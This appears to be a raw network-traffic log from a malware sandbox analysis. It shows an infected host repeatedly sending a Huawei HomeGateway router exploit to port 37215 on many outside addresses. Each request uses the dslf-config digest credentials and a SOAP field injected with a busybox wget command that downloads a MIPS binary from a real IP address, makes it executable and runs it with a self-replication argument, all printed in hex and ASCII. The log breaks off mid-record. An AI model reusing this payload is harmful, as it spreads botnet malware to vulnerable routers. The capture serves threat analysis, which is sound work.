Jul 20, 2024 23:01:02.414849997 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	57400	116.213.32.189	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414849997 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	44708	41.7.80.153	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414849997 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	42126	41.27.117.169	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414850950 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	46822	81.216.201.21	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414850950 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	55584	197.102.177.131	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415258884 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	37866	161.127.78.197	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415258884 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	52714	181.36.87.26	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415739059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	36306	157.229.133.19	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415802956 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	57010	41.180.195.47	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	47970	41.248.220.216	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 